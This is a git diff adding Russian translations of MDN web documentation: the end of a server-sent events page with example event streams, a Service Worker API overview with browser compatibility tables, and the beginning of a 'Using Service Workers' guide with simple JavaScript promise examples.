+ <dd>Поле данных для сообщения. Когда <code>EventSource</code> получает несколько последовательных строк, начинающихся с <code>data:</code>, <a href="http://www.w3.org/TR/eventsource/#dispatchMessage">он объединяет их</a>, вставляя символ новой строки между каждой из них. Последние переводы строки удаляются.</dd>
+ <dt><code>id</code></dt>
+ <dd>Идентификатор события для установки значения последнего ID события для объекта <code><a href="/en/Server-sent_events/EventSource" title="en/Server-sent events/EventSource">EventSource</a></code>.</dd>
+ <dt><code>retry</code></dt>
+ <dd>Время переподключения, используемое при попытке отправить событие. Это должно быть целое число, указывающее время переподключения в миллисекундах. Если указано нецелое значение, поле игнорируется.</dd>
+</dl>
+
+<p>Другия названия полей игнорируются.</p>
+
+<div class="note"><strong>Примечание:</strong> If a line doesn't contain a colon, the entire line is treated as the field name with an empty value string.</div>
+
+<h3 id="Примеры">Примеры</h3>
+
+<h4 id="Сообщения_с_данными">Сообщения с данными</h4>
+
+<p>В следующем примере отправлено три сообщения. Первый - это просто комментарий, так как он начинается с символа двоеточия. Как упоминалось ранее, это может быть полезно в качестве подтверждения активности, если сообщения могут отправляться не регулярно.</p>
+
+<p>Второе сообщение содержит поле данных со значением «some text». Третье сообщение содержит поле данных со значением «another message \n with two lines». Обратите внимание на специальный символ новой строки в значении.</p>
+
+<pre class="brush: json">: this is a test stream
+
+data: some text
+
+data: another message
+data:
+</pre>
+
+<h4 id="Именованные_события">Именованные события</h4>
+
+<p>Данный пример отправляет именованные события. У каждого из них есть имя события, указанное в поле <code>event</code>, и поле <code>data</code>, значением которого является соответствующая строка JSON с данными, необходимыми для клиента, чтобы реагировать на событие. Поле <code>data</code> может, конечно, содержать любые строковые данные; это не обязательно должен быть JSON.</p>
+
+<pre class="brush: json">event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}
+
+event: userdisconnect
+data: {"username": "bobby", "time": "02:34:23"}
+
+event: usermessage
+data: {"username": "sean", "time": "02:34:36", "text": "Bye, bobby."}
+</pre>
+
+<h4 id="Смешивание_и_сопоставление">Смешивание и сопоставление</h4>
+
+<p>Вам не нужно использовать только неназванные сообщения или именованные события. Вы можете смешать их вместе в одном потоке событий.</p>
+
+<pre class="brush: json">event: userconnect
+data: {"username": "bobby", "time": "02:33:48"}
+
+data: Here's a system message of some kind that will get used
+data: to accomplish some task.
+
+event: usermessage
+data: {"username": "bobby", "time": "02:34:11", "text": "Hi everyone."}</pre>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+<h3 id="EventSource"><code>EventSource</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.EventSource")}}</p>
+</div>
+</div>
diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html
new file mode 100644
index 0000000000..be8e729086
--- /dev/null
+++ b/files/ru/web/api/service_worker_api/index.html
@@ -0,0 +1,280 @@
+---
+title: Service Worker API
+slug: Web/API/Service_Worker_API
+tags:
+  - API
+  - Landing
+  - NeedsTranslation
+  - Offline
+  - Overview
+  - Reference
+  - Service Workers
+  - TopicStub
+  - Workers
+translation_of: Web/API/Service_Worker_API
+---
+<div>
+<p>{{ServiceWorkerSidebar}}</p>
+
+<p class="summary">Service worker фактически выполняет роль прокси-сервера, находящегося между веб-приложением и браузером, а также сетью (если доступна). Он позволяет (кроме прочего) описывать корректное поведение веб-приложения в режиме офлайн, перехватывать запросы сети и принимать соответствующие меры, основываясь на доступности сети, и обновлять данные, находящиеся на сервере при доступе к нему. Также они имеют доступ к push-уведомлениям и API для фоновой синхронизации.</p>
+</div>
+
+<h2 id="Концепция_и_использование_Service_Worker">Концепция и использование Service Worker</h2>
+
+<p>Service worker — это событийно-управляемый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).</p>
+
+<p>Service worker запускается в контексте worker'ов, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, в Service Worker'е использовать нельзя.</p>
+
+<p>Из соображений безопасности service worker'ы работают только по HTTPS (либо, в целях разработки, на <code>localhost</code>). Давать сторонним людям возможность измененять сетевые запросы крайне опасно. Кроме того, Service Worker API недоступен в <a href="https://support.mozilla.org/ru/kb/privatnyj-prosmotr-prosmotr-veb-stranic-bez-sohran">режиме приватного просмотра</a> браузера Firefox.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Service Worker'ы выигрывают у предыдущих решений, таких как <a href="http://alistapart.com/article/application-cache-is-a-douchebag">AppCache,</a> потому что не делают предположений о том, что вы пытаетесь сделать, и не ломаются, в случаях если их предположения не оказываются верными; вы имеете полный контроль над всем.</p>
+</div>
+
+<div class="note">
+<p><strong>Заметка</strong>: Service worker'ы широко используют промисы (<a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a>). В общем случае они будут ждать ответа, после которого вернутся с успешным или неудачным завершением. Архитектура на промисах для этого подоходит идеально.</p>
+</div>
+
+<h3 id="Регистрация">Регистрация</h3>
+
+<p>Service worker сначала регистрируется с помощью метода {{domxref("ServiceWorkerContainer.register()")}}. В случае успешной регистрации, service worker будет загружен клиентом и попытается установиться/активироваться (см. ниже) для всех URL, доступных пользователю, или только для указанного вами подмножества.</p>
+
+<h3 id="Загрузка_установка_и_активация">Загрузка, установка и активация</h3>
+
+<p>Service Worker будет следовать следующему жизненному циклу:</p>
+
+<ol>
+ <li>Загрузка</li>
+ <li>Установка</li>
+ <li>Активация</li>
+</ol>
+
+<p>Когда пользователь впервые запросит доступ к сайту/странице, контролируемой Service Worker'ом, тот моментально будет загружен .</p>
+
+<p>После этого он будет загружаться каждые 24 часа или около того. Он <em>может</em> загружаться и чаще, но он <strong>должен</strong> загружаться как минимум каждые 24 часа, чтобы предотвратить использование старой версии кода клиентом.</p>
+
+<p>Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service worker'ом для этой страницы/сайта.</p>
+
+<p>Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.</p>
+
+<p>Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние <em>в ожидании</em>. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет <em>активным worker'ом</em>). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.</p>
+
+<p>Вы можете подписаться на {{domxref("InstallEvent")}}; для того чтобы подготовить ваш service worker к использованию, к примеру, чтобы создать кеш при помощи встроенного API хранилища и разместить внутри него данные, которые вам необходимы в вашем приложении для работы офлайн.</p>
+
+<p>Есть также событие <code>activate</code>. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.</p>
+
+<p>Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.</p>
+
+<div class="note">
+<p><strong>Заметка</strong>: Так как выполнение <code>oninstall</code>/<code>onactivate</code> может занять время, спецификация service worker предоставляет метод <code>waitUntil</code>, который возвращает промис, когда вызывается <code>oninstall</code> или <code>onactivate</code>. Функциональные события не отправляются service worker, пока промис не завершится успешно.</p>
+</div>
+
+<p>Для полного руководства по созданию рабочего примера читайте <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Использование Service Worker</a>.</p>
+
+<h2 id="Другие_варианты_использования">Другие варианты использования</h2>
+
+<p>Service worker'ы также предназначены для таких вещей, как:</p>
+
+<ul>
+ <li>Фоновая синхронизация данных</li>
+ <li>Ответ на запросы от других источников</li>
+ <li>Получение централизованного обновления для данных использующих тяжелые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные</li>
+ <li>Компиляция и управление зависимостями на клиентской стороне для CoffeeScript, less, CJS/AMD модулей и т.д. для целей разработки</li>
+ <li>Подписка на фоновые сервисы</li>
+ <li>Кастомная шаблонизация, основанная на определённых паттернах URL</li>
+ <li>Улучшение производительности, с помощью предварительной загрузки ресурсов, которые понадобятся пользователю в ближайшем будущем, например несколько последующих картинок в фотоальбоме.</li>
+</ul>
+
+<p>В будущем service worker'ы будут способны на многие другие полезные вещи для веб-платформ, приближая их к нативным приложеням. Примечательно, что другие спецификации могут и будут использовать контекст service worker, к примеру для:</p>
+
+<ul>
+ <li><a href="https://github.com/slightlyoff/BackgroundSync">Фоновой синхронизации</a>: запускать service worker даже когда ни одного пользователя нет на сайте, чтобы обновить кеш.</li>
+ <li><a href="/en-US/docs/Web/API/Push_API">Реакции на пуш-сообщения</a>: запускать service worker для отправки сообщений пользователям, чтобы оповестить их о новом доступном контенте.</li>
+ <li>Реакции на определенное время и дату</li>
+ <li>Введение гео-ограничений</li>
+</ul>
+
+<h2 id="Интерфейс">Интерфейс</h2>
+
+<dl>
+ <dt>{{domxref("Cache") }}</dt>
+ <dd>Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.</dd>
+ <dt>{{domxref("CacheStorage") }}</dt>
+ <dd>Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именовынных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.</dd>
+ <dt>{{domxref("Client") }}</dt>
+ <dd>Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным worker'ом.</dd>
+ <dt>{{domxref("Clients") }}</dt>
+ <dd>Представлет контейнер для списка объектов {{domxref("Client")}}; основной способ получить доступ к клиентам активного service worker'а текущего источника.</dd>
+ <dt>{{domxref("ExtendableEvent") }}</dt>
+ <dd>Расширяет жизненный цикл событий <code>install</code> и <code>activate</code>, отправляемых {{domxref("ServiceWorkerGlobalScope")}} как часть жизненного цикла service worker'а. Это гарантирует, что любое функциональное событие (как {{domxref("FetchEvent")}}) не отправится в {{domxref("ServiceWorker")}}, пока он не обновит шаблон данных, удалив устаревшие данные кеша.</dd>
+ <dt>{{domxref("ExtendableMessageEvent") }}</dt>
+ <dd>Обект событий {{event("message_(ServiceWorker)","message")}} запускается в service worker (когда канал сообщений в {{domxref("ServiceWorkerGlobalScope")}} получил новое сообщение из другого контекста) — расширяет жизненный цикл таких событий.</dd>
+ <dt>{{domxref("FetchEvent") }}</dt>
+ <dd>Параметр, передающийся в обработчик {{domxref("ServiceWorkerGlobalScope.onfetch")}}, <code>FetchEvent</code> представляет собой событие получения, которое отправляется в  {{domxref("ServiceWorkerGlobalScope")}} {{domxref("ServiceWorker")}}. Он содержит информацию о запросе и результирующем ответе и обеспечивает {{domxref("FetchEvent.respondWith", "FetchEvent.respondWith()")}} метод, который позволяет отправить произвольный ответ обратно контролируемой странице.</dd>
+ <dt>{{domxref("InstallEvent") }}</dt>
+ <dd>Параметр, передющийся в  {{domxref("ServiceWorkerGlobalScope.oninstall", "oninstall")}} обработчик, <code>InstallEvent</code> представляет сообой событие установки, которое отправляется {{domxref("ServiceWorkerGlobalScope")}} {{domxref("ServiceWorker")}}. Как наследник {{domxref("ExtendableEvent")}}, он гарантирует, что функциональные события, такие как {{domxref("FetchEvent")}}, не будут отправлены во время установки. </dd>
+ <dt>{{domxref("Navigator.serviceWorker") }}</dt>
+ <dd>Возвращает объект {{domxref("ServiceWorkerContainer")}}, который обеспечивает доступ к регистрации, удалению, обновлению и коммуникации с объектами {{domxref("ServiceWorker")}}<a href="https://html.spec.whatwg.org/multipage/browsers.html#concept-document-window">ассоциируемого документа</a>.</dd>
+ <dt>{{domxref("NotificationEvent") }}</dt>
+ <dd>Параметр, передаваемый в обработчик {{domxref("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}}, интерфейс <code>NotificationEvent</code> представляет событие уведомления на клик, которое отправлется в {{domxref("ServiceWorkerGlobalScope")}} service worker'а.</dd>
+ <dt>{{domxref("ServiceWorker") }}</dt>
+ <dd>Представляет service worker. Несколько контекстов браузера (страницы, worker'ы, и т.д.) могут быть ассоциированы с одним объектом <code>ServiceWorker</code>.</dd>
+ <dt>{{domxref("ServiceWorkerContainer") }}</dt>
+ <dd>Предоставляет объект, описывающий service worker как общий блок в экосистеме сети, включая возможность регистрировать, отключать и обновлять service worker'ы, и предоставляет доступ к состоянию текущего и других зарагестрованных service worker'ов.</dd>
+ <dt>{{domxref("ServiceWorkerGlobalScope") }}</dt>
+ <dd>Представляет глобальный контекст исполнения service worker'а.</dd>
+ <dt>{{domxref("ServiceWorkerMessageEvent")}}</dt>
+ <dd>Содержит информацию о событии, отправленном целевому  {{domxref("ServiceWorkerContainer")}}. </dd>
+ <dt>{{domxref("ServiceWorkerRegistration") }}</dt>
+ <dd>Представляет регистрацию service worker'а.</dd>
+ <dt>{{domxref("SyncEvent")}} {{non-standard_inline}}</dt>
+ <dd>
+ <p>SyncEvent предсталяет синхронное действие, котрое отправляется {{domxref("ServiceWorkerGlobalScope")}} ServiceWorker. </p>
+ </dd>
+ <dt>{{domxref("SyncManager")}} {{non-standard_inline}}</dt>
+ <dd>Обеспечивает интерфейс регистрации и перечисления синхронных рагистраций.</dd>
+ <dt>{{domxref("WindowClient") }}</dt>
+ <dd>Предствляет область видимости клинетского service worker'а, представленного в виде документа в контекте браузера, контролируемого активным worker'ом. Это особый тип объекта {{domxref("Client")}} с некоторыми дополнительными методами и свойствами.</dd>
+</dl>
+
+<h2 id="Спецификации_характеристики">Спецификации (характеристики)</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">       Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+<h4 id="Таблица_совместимости"><strong>Таблица совместимости</strong></h4>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойства</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>24</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>События установки/активации</td>
+   <td>{{ CompatChrome(40.0) }}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Событие fetch/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoDesktop("44.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Кеш</td>
+   <td>
+    <p class="p1">{{CompatChrome(42.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("39.0") }}<sup>[1]</sup></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td></td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>События установки/активации</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Событие fetch/request/<br>
+    <code>respondWith()</code></td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("44.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+  <tr>
+   <td>Кеш</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{CompatChrome(40.0)}}</td>
+   <td>{{ CompatGeckoMobile("39.0") }}</td>
+   <td>{{ CompatVersionUnknown }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Service workers (и <a href="/en-US/docs/Web/API/Push_API">Push</a>) были отключены в  <a href="https://www.mozilla.org/en-US/firefox/organizations/">Firefox 45 Extended Support Release</a> (ESR.)</p>
+
+<h2 id="Смотрите_также">Смотрите также:</h2>
+
+<ul>
+ <li>Кулинарная книга <a href="https://serviceworke.rs">ServiceWorker </a></li>
+ <li>Использование<a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers"> Service Workers</a></li>
+ <li>Основные примеры кода <a href="https://github.com/mdn/sw-test">Service workers</a></li>
+ <li>Готов ли <a href="https://jakearchibald.github.io/isserviceworkerready/">ServiceWorker?</a></li>
+ <li>Перспектива</li>
+ <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html
new file mode 100644
index 0000000000..4eaa4dfc01
--- /dev/null
+++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html
@@ -0,0 +1,524 @@
+---
+title: Использование Service Worker
+slug: Web/API/Service_Worker_API/Using_Service_Workers
+tags:
+  - основы ServiceWorker Workers руководство
+translation_of: Web/API/Service_Worker_API/Using_Service_Workers
+---
+<p>{{ServiceWorkerSidebar}}</p>
+
+<div class="summary">
+<p>В данной статье содержится информация о начале работы с сервис-воркерами, включая базовую архитектуру, процесс регистрации, а также установку и активацию новых сервис-воркеров, обновление существующих сервис-воркеров, управление кешем и настраиваемые ответы и все это в контексте простого приложения с offline-функциональностью.</p>
+</div>
+
+<h2 id="Предпосылки_появления_Service_Workers">Предпосылки появления Service Workers</h2>
+
+<p>Одной из важнейших проблем, от которой страдали пользователи веб-приложений, была работа в условиях потери связи. Лучшее в мире веб-приложение оставит ужасное впечатление от использования, если вы не сможете его загрузить. Предпринималось много попыток создания технологий, которые бы решили эту проблему, и если верить страницам нашего <a href="/en-US/Apps/Build/Offline">Форума</a>, некоторые из вопросов были решены. Но все же наиважнейшей проблемой по-прежнему является отсутствие хорошего механизма для управления кешем ресурсов и настраиваемыми сетевыми запросами.<br>
+ <br>
+ Предыдущей попыткой была технология AppCache, казавшаяся хорошей идеей, потому как позволяла действительно просто указывать ресурсы для кеширования. Однако, эта технология допускает много предположений о том, что вы пытаетесь сделать, и затем с грохотом ломается, когда ваше приложение работает не в точности с этими допущениями. Чтобы получить больше информации по этой теме, прочитайте (неудачно названную, но хорошо написанную) статью Джейка Арчибальда <a href="http://alistapart.com/article/application-cache-is-a-douchebag">Application Cache is a Douchebag</a>.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Начиная с Firefox 44, когда используется <a href="/ru/docs/Web/HTML/%D0%98%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5_%D0%BA%D1%8D%D1%88%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8F_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9">AppCache</a> для предоставления странице поддержки offline-режима, в консоли разработчика отображается предупреждение о том, что нужно использовать технологию <a href="/en-US/docs/Web/API/Service_Worker_API/Using_Service_Workers">Service Workers</a> ({{bug("1204581")}}.)</p>
+</div>
+
+<p>Технология Service Workers должна в итоге решить озвученные выше вопросы. Синтаксис Service Worker более сложен, чем тот же AppCache, но взамен вы можете посредством JavaScript контролировать AppCache-подразумеваемое поведение с высокой степенью детализации, что позволяет вам решить описанную проблему и многие другие. Используя Service Worker, вы можете без труда получить приложение, использующее в первую очередь кешированные ресурсы, предоставляя тем самым поведение по умолчанию в автономном режиме, до того как будет получено по сети больше данных (такой подход называется <a href="http://offlinefirst.org/">Offline First</a>). Так обычно работают нативные приложения, что часто является причиной выбора пользователя в их пользу.</p>
+
+<h2 id="Что_нужно_настроить_чтобы_поиграть_с_Service_Worker">Что нужно настроить, чтобы поиграть с Service Worker</h2>
+
+<p>Многие функции Service Worker теперь включены по умолчанию в новых браузерах, поддерживающих эту технологию. Однако, если вы обнаружите, что демонстрационный код не работает в вашей версии браузера, вам может понадобиться их включить:</p>
+
+<ul>
+ <li><strong>Firefox Nightly</strong>: Перейдите в раздел <code>about:config</code> и установите параметр <code>dom.serviceWorkers.enabled</code> в значение true; затем перезапустите браузер.</li>
+ <li><strong>Chrome Canary</strong>: Перейдите в раздел <code>chrome://flags</code> и включите <code>experimental-web-platform-features</code>; перезапустите браузер (заметьте, что некоторые функции теперь включены по умолчанию в браузере Chrome.)</li>
+ <li><strong>Opera</strong>: Перейдите в раздел <code>opera://flags</code> и включите <code>Support for ServiceWorker</code>; перезапустите браузер.</li>
+ <li><strong>Microsoft Edge</strong>: Перейдите в раздел <code>about:flags</code> и поставьте галочку <code>Enable service workers</code>; перезапустите браузер.</li>
+</ul>
+
+<p>Также вам необходимо предоставлять ваш код по протоколу HTTPS — Service Worker требует этого по соображениям безопасности. По этой причине GitHub — хороший выбор для экспериментов, поскольку он поддерживает протокол HTTPS по умолчанию. Для облегчения локальной разработки браузеры считают <code>localhost</code> также безопасным origin.</p>
+
+<h2 id="Базовая_архитектура">Базовая архитектура</h2>
+
+<p>Чтобы сделать базовую настройку Service Worker, как правило, нужно пройти следующие шаги:</p>
+
+<ol>
+ <li>URL сервис-воркера опрашивается и регистрируется посредством вызова метода {{domxref("ServiceWorkerContainer.register()")}}.</li>
+ <li>Если регистрация прошла успешно, то сервис-воркер начинает работать внутри {{domxref("ServiceWorkerGlobalScope") }}; это, по сути, особый вид контекста воркера, работающий вне главного потока браузера, без доступа к DOM.</li>
+ <li>Теперь сервис-воркер может обрабатывать события.</li>
+ <li>Установка сервис-воркера начинается после того, как все контролируемые им страницы закешированы и доступны для последующего использования. Событие <code>install</code> всегда посылается первым воркеру (оно может быть использовано для запуска начальной загрузки данных в IndexedDB, для кеширования ресурсов). Данный этап сродни процедуре установки нативного или FirefoxOS-приложения — все делается доступным для использования в оффлайн-режиме.</li>
+ <li>Как только обработчик события <code>oninstall</code> завершит свою работу, сервис-воркер считается установленным.</li>
+ <li>Далее следует активация. После того как воркер установлен, он получает событие <code>onactivate</code>, которое обычно используется для очистки ресурсов, задействованных в предыдущей версии скрипта сервис-воркера.</li>
+ <li>Сервис-воркер здесь может контролировать страницы, но только в случае, если те открыты после успешного вызова <code>register()</code>. То есть документ может начать жизнь с сервис-воркером или даже без него и продолжать нормально работать. Поэтому документы должны быть перезагружены, чтобы действительно быть подконтрольными сервис-воркеру.</li>
+</ol>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/12636/sw-lifecycle.png" style="display: block; height: 867px; margin: 0px auto; width: 579px;"></p>
+
+<p>Следующий рисунок кратко показывает доступные события Service Worker:</p>
+
+<p><img alt="install, activate, message, fetch, sync, push" src="https://mdn.mozillademos.org/files/12632/sw-events.png" style="display: block; margin: 0px auto;"></p>
+
+<h3 id="Промисы_обещания">Промисы (обещания)</h3>
+
+<p><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Промисы</a> — отличный механизм для запуска асинхронных операций, которые могут успешно зависеть друг от друга. Промисы имеют большое значение в работе сервис-воркеров.</p>
+
+<p>Промисы могут делать много всего, но сейчас вам достаточно знать, что если что-то возвращает промис, то вы можете дописать вызов метода <code>.then()</code>, передав ему функцию на случай удачного выполнения, и вызов метода <code>.catch()</code>, если хотите передать функцию при неуспешном выполнении.</p>
+
+<p>Давайте сравним структуру традиционного синхронного обратного вызова с его промис-эквивалентом.</p>
+
+<h4 id="sync">sync</h4>
+
+<pre class="brush: js notranslate">try {
+  const value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}</pre>
+
+<h4 id="async">async</h4>
+
+<pre class="brush: js notranslate">myFunction().then((value) =&gt; {
+  console.log(value);
+}).catch((err) =&gt; {
+  console.log(err);
+});</pre>
+
+<p>В первом примере код, идущий за вызовом функции <code>myFunction()</code>, будет ждать завершения вызова и возврата значения. Во втором примере <code>myFunction()</code> возвращает промис для <code>value</code>, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу <code>then</code>, будет выполнен асинхронно.</p>
+
+<p>А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать <code>.onload</code>, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать <code>.complete</code>, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.</p>
+
+<p>Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере <a href="https://github.com/mdn/promises-test">Promises test</a> или взглянуть на <a href="https://mdn.github.io/promises-test/">живое демо</a>.)</p>
+
+<p>{{note("Реальные реализации сервис-воркеров скорее всего будут использовать <code>onfetch</code>, а не устаревающий XMLHttpRequest API. Эти возможности не используются здесь, так что можете сосредоточиться на изучении промисов.")}}</p>
+
+<pre class="brush: js notranslate">const imgLoad = (url) =&gt; {
+  return new Promise((resolve, reject) =&gt; {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = () =&gt; {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = () =&gt; {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}</pre>
+
+<p>Мы возвращаем новый промис, созданный конструктором <code>Promise()</code>, который в качестве аргумента принимает функцию с параметрами <code>resolve</code> и <code>reject</code>. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны <code>resolve</code> в случае успеха или <code>reject</code> при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.</p>
+
+<p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p>
+
+<pre class="brush: js notranslate">let body = document.querySelector('body');
+let myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then((response) =&gt; {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, (Error) =&gt; {
+  console.log(Error);
+});</pre>
+
+<p>После вызова функции мы "цепляем" к ней вызов промис-метода <code>then()</code>, которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции <code>imgLoad()</code>, вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе <code>myImage</code>, который прикрепляем к body (аргументом является <code>request.response</code>, помещенный в промис-методе <code>resolve</code>); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.</p>
+
+<p>Все это происходит асинхронно.</p>
+
+<div class="note">
+<p><strong>На заметку</strong>: Вы можете также объединять вызов нескольких промис-методов в одну цепочку, как в этом примере:<br>
+ <code>myPromise().then(success, failure).then(success).catch(failure);</code></p>
+</div>
+
+<div class="note">
